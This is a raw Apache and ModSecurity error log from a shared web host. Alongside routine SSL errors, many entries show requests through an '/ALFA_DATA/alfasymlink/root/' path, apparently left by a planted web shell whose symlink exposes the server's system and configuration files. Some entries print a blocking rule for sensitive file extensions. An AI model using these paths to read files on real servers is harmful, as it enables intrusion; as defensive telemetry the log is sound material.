[Mon Oct 26 10:36:22.142327 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 23.21.228.180:16129] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:36:26.879449 2026] [security2:error] [pid 3044303:tid 3044303] [client 16.216.88.238:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/090_mod_authz_groupfile.conf"] [unique_id "at9larRNJnL4L9TV9UoYWAAAAEE"]
[Mon Oct 26 10:36:26.879979 2026] [security2:error] [pid 3044303:tid 3044303] [client 16.216.88.238:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/090_mod_authz_groupfile.conf"] [unique_id "at9larRNJnL4L9TV9UoYWAAAAEE"]
[Mon Oct 26 10:36:26.880282 2026] [security2:error] [pid 3044303:tid 3044303] [client 16.216.88.238:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/090_mod_authz_groupfile.conf"] [unique_id "at9larRNJnL4L9TV9UoYWAAAAEE"]
[Mon Oct 26 10:36:30.166814 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 44.195.50.71:31105] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:36:34.390389 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 98.83.72.38:14360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:36:54.154422 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 98.83.72.38:7209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:36:58.134959 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 3.93.211.16:63807] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:37:06.232765 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 52.201.155.215:13656] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:37:14.750639 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 52.0.63.151:55136] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:37:18.154455 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 52.44.174.136:58086] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:37:22.706285 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 100.25.120.246:13885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:37:25.923731 2026] [security2:error] [pid 3044303:tid 3044303] [client 184.94.112.250:7335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at9lpbRNJnL4L9TV9UoYWwAAAEE"]
[Mon Oct 26 10:37:25.923765 2026] [security2:error] [pid 3044303:tid 3044303] [client 184.94.112.250:7335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at9lpbRNJnL4L9TV9UoYWwAAAEE"]
[Mon Oct 26 10:37:26.257441 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 35.169.102.85:11379] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:37:29.268290 2026] [core:error] [pid 3048989:tid 3048989] (13)Permission denied: [client 185.191.171.17:26160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/tmp/tmp.mIz6dRgj2T
[Mon Oct 26 10:37:38.259582 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 3.218.35.239:49332] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:37:44.392305 2026] [core:error] [pid 3041799:tid 3041799] (13)Permission denied: [client 185.191.171.10:18878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/cache_dma
[Mon Oct 26 10:37:46.245014 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 34.197.28.78:28176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:37:58.157610 2026] [core:error] [pid 3044281:tid 3044281] (13)Permission denied: [client 18.232.36.1:25638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory10/node0/cpu1/firmware_node/physical_node/subsystem/drivers/processor/cpu0/crash_notes
[Mon Oct 26 10:38:00.710851 2026] [authz_core:error] [pid 3041799:tid 3041799] [client 110.172.98.2:52278] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 10:38:00.711329 2026] [security2:error] [pid 3041799:tid 3041799] [client 110.172.98.2:52278] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "ns1.sherwinpinturas.com"] [uri "/"] [unique_id "at9lyLJEa6xP7LBmBmOpjAAAAAI"]
[Mon Oct 26 10:38:00.711360 2026] [security2:error] [pid 3041799:tid 3041799] [client 110.172.98.2:52278] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "ns1.sherwinpinturas.com"] [uri "/"] [unique_id "at9lyLJEa6xP7LBmBmOpjAAAAAI"]
[Mon Oct 26 10:38:06.195434 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 34.194.233.48:16088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:38:13.389032 2026] [security2:error] [pid 3048988:tid 3048988] [client 64.20.54.226:38990] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "col2.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/BBVGOTRC-IQPJ-Q39WHNZDIKTZXNHO4I"] [unique_id "at9l1V8gi_sSVE9v5DZWMgAAAAg"]
[Mon Oct 26 10:38:13.389084 2026] [security2:error] [pid 3048988:tid 3048988] [client 64.20.54.226:38990] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "col2.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/BBVGOTRC-IQPJ-Q39WHNZDIKTZXNHO4I"] [unique_id "at9l1V8gi_sSVE9v5DZWMgAAAAg"]
[Mon Oct 26 10:38:30.157877 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 23.21.148.226:18666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:38:31.535397 2026] [security2:error] [pid 3041799:tid 3041799] [client 16.216.88.230:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/065_mod_authn_file.conf"] [unique_id "at9l57JEa6xP7LBmBmOplgAAAAI"]
[Mon Oct 26 10:38:31.535922 2026] [security2:error] [pid 3041799:tid 3041799] [client 16.216.88.230:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/065_mod_authn_file.conf"] [unique_id "at9l57JEa6xP7LBmBmOplgAAAAI"]
[Mon Oct 26 10:38:31.536265 2026] [security2:error] [pid 3041799:tid 3041799] [client 16.216.88.230:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/065_mod_authn_file.conf"] [unique_id "at9l57JEa6xP7LBmBmOplgAAAAI"]
[Mon Oct 26 10:38:34.138992 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 100.29.107.38:8949] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:38:36.568126 2026] [core:error] [pid 3044281:tid 3044281] (13)Permission denied: [client 185.191.171.3:46628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/sanity_checks
[Mon Oct 26 10:38:38.136980 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 34.197.28.78:29719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:38:46.154387 2026] [core:error] [pid 3048588:tid 3048588] (13)Permission denied: [client 44.218.6.93:63105] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/drm/card0/device/resource1
[Mon Oct 26 10:38:50.133032 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 3.221.50.71:28956] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:39:02.179984 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 18.215.112.101:60052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:39:18.219018 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 34.192.67.98:9531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:39:22.409762 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 18.215.112.101:17086] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:39:30.154640 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 98.84.70.201:5944] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:39:34.148221 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 184.73.47.24:1360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:39:50.154996 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 18.205.91.101:8472] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:39:54.131626 2026] [core:error] [pid 3039887:tid 3039887] (13)Permission denied: [client 100.28.133.214:38579] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/device:03/physical_node/resource0
[Mon Oct 26 10:39:58.141902 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 54.156.55.147:18191] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:39:59.437641 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 185.191.171.12:26230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:40:02.184013 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 3.230.224.6:47596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:40:14.173856 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 18.214.138.148:65512] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:40:18.106427 2026] [core:error] [pid 3048988:tid 3048988] (13)Permission denied: [client 185.191.171.12:51904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/syscopyarea/sections/__kcrctab
[Mon Oct 26 10:40:18.159111 2026] [security2:error] [pid 3048989:tid 3048989] [client 35.173.18.61:7065] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/input1/device/firmware_node/physical_node/"] [unique_id "at9mUkmzUzpEWLVSYlDGRgAAAAk"]
[Mon Oct 26 10:40:18.159161 2026] [security2:error] [pid 3048989:tid 3048989] [client 35.173.18.61:7065] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/input1/device/firmware_node/physical_node/"] [unique_id "at9mUkmzUzpEWLVSYlDGRgAAAAk"]
[Mon Oct 26 10:40:26.153001 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 34.225.243.131:36011] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:40:34.436781 2026] [core:error] [pid 3044296:tid 3044296] (13)Permission denied: [client 44.205.74.196:53199] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ata_piix/new_id
[Mon Oct 26 10:40:38.290671 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 3.235.215.92:54628] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:40:46.133066 2026] [ssl:error] [pid 3045151:tid 3045151] (22)Invalid argument: [client 44.212.232.231:45224] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:40:54.188155 2026] [ssl:error] [pid 3048988:tid 3048988] (5)Input/output error: [client 34.224.9.144:59820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:41:04.878979 2026] [security2:error] [pid 3044268:tid 3044268] [client 107.172.76.131:54558] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9mc_KWwmJGO0eR0H_yNQAAACE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 10:41:04.879030 2026] [security2:error] [pid 3044268:tid 3044268] [client 107.172.76.131:54558] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9mc_KWwmJGO0eR0H_yNQAAACE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 10:41:06.205756 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 52.1.157.90:5152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:41:10.147634 2026] [ssl:error] [pid 3048988:tid 3048988] (22)Invalid argument: [client 44.209.187.99:41985] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:41:18.164199 2026] [security2:error] [pid 3048588:tid 3048588] [client 54.235.158.162:22707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/cpu0/subsystem/"] [unique_id "at9mjuBV0X2-qlYz97NxmwAAAAY"]
[Mon Oct 26 10:41:18.164244 2026] [security2:error] [pid 3048588:tid 3048588] [client 54.235.158.162:22707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/cpu0/subsystem/"] [unique_id "at9mjuBV0X2-qlYz97NxmwAAAAY"]
[Mon Oct 26 10:41:22.300139 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 100.29.128.75:46833] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:41:26.125358 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 107.20.255.194:21230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:41:30.145454 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 3.93.98.99:50338] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:41:39.099941 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 85.208.96.202:43940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:41:46.151799 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 44.212.106.171:38748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:41:50.412183 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 54.197.102.71:17679] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:41:52.774545 2026] [core:error] [pid 3048989:tid 3048989] (13)Permission denied: [client 185.191.171.9:40216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-64/ctor
[Mon Oct 26 10:41:54.138690 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 34.233.219.155:60485] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:41:58.133144 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 3.212.205.90:23740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:42:02.144891 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 54.152.163.42:2669] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:42:10.185874 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 44.208.193.63:29282] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:42:18.243468 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 52.203.152.231:19024] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:42:22.179187 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 100.27.153.9:42573] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:42:34.489960 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 107.20.181.148:56331] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:42:38.206669 2026] [core:error] [pid 3044296:tid 3044296] (13)Permission denied: [client 52.54.95.127:63324] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:03/physical_node/firmware_node/physical_node/resource0
[Mon Oct 26 10:42:50.231952 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 44.206.65.8:58358] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:42:54.236056 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 3.94.40.182:10782] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:42:58.372458 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 35.169.119.108:42585] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:43:06.231675 2026] [core:error] [pid 3041799:tid 3041799] (13)Permission denied: [client 52.45.194.165:63451] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/device/subsystem/devices/device:00/physical_node/driver/new_id
[Mon Oct 26 10:43:11.644923 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 52.45.92.83:20288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:43:26.326495 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 54.80.185.200:58189] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:43:39.204313 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 54.163.169.168:14985] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:43:42.403917 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 52.71.46.142:8730] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:43:50.357777 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 18.207.79.144:17264] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:43:54.401660 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 3.90.73.206:3572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:43:56.433689 2026] [security2:error] [pid 3042122:tid 3042122] [client 107.172.76.131:54597] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9nH4kBAlsUe0HxPuSmrgAAAA4"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 10:43:56.433765 2026] [security2:error] [pid 3042122:tid 3042122] [client 107.172.76.131:54597] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9nH4kBAlsUe0HxPuSmrgAAAA4"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 10:43:58.350843 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 100.29.63.24:12496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:44:00.115762 2026] [core:crit] [pid 3048426:tid 3048426] (13)Permission denied: [client 152.32.251.219:38580] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 10:44:01.094658 2026] [core:crit] [pid 3044312:tid 3044312] (13)Permission denied: [client 152.32.251.219:45670] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 10:44:01.551877 2026] [core:crit] [pid 3045151:tid 3045151] (13)Permission denied: [client 152.32.251.219:45734] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 10:44:02.046933 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 152.32.251.219:45788] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 10:44:04.709695 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54644] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9nKTs8VJ7QW5firx_mNgAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:44:04.709757 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54644] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9nKTs8VJ7QW5firx_mNgAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:44:09.819132 2026] [authz_core:error] [pid 3041799:tid 3041799] [client 152.32.251.219:39714] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 10:44:10.456755 2026] [core:error] [pid 3045151:tid 3045151] (13)Permission denied: [client 34.192.125.239:8840] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/device/device/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource0
[Mon Oct 26 10:44:10.556741 2026] [core:crit] [pid 3044312:tid 3044312] (13)Permission denied: [client 152.32.251.219:39830] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 10:44:14.460682 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.227.180.70:63188] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:44:18.444845 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 98.83.72.38:50881] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:44:22.385799 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 184.73.47.24:55941] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:44:28.963212 2026] [security2:error] [pid 3048990:tid 3048990] [client 43.160.225.169:43614] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/beta/databasex.php"] [unique_id "at9nTKx03eeNDz_E2KbcJwAAAAo"]
[Mon Oct 26 10:44:30.465884 2026] [core:error] [pid 3041799:tid 3041799] (13)Permission denied: [client 34.239.197.197:45463] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/ptmx/subsystem/ttyS3/device/tty/ttyS1/flags
[Mon Oct 26 10:44:34.503950 2026] [core:error] [pid 3045151:tid 3045151] (13)Permission denied: [client 3.213.85.234:2969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/LNXPWRBN:00/driver/bind
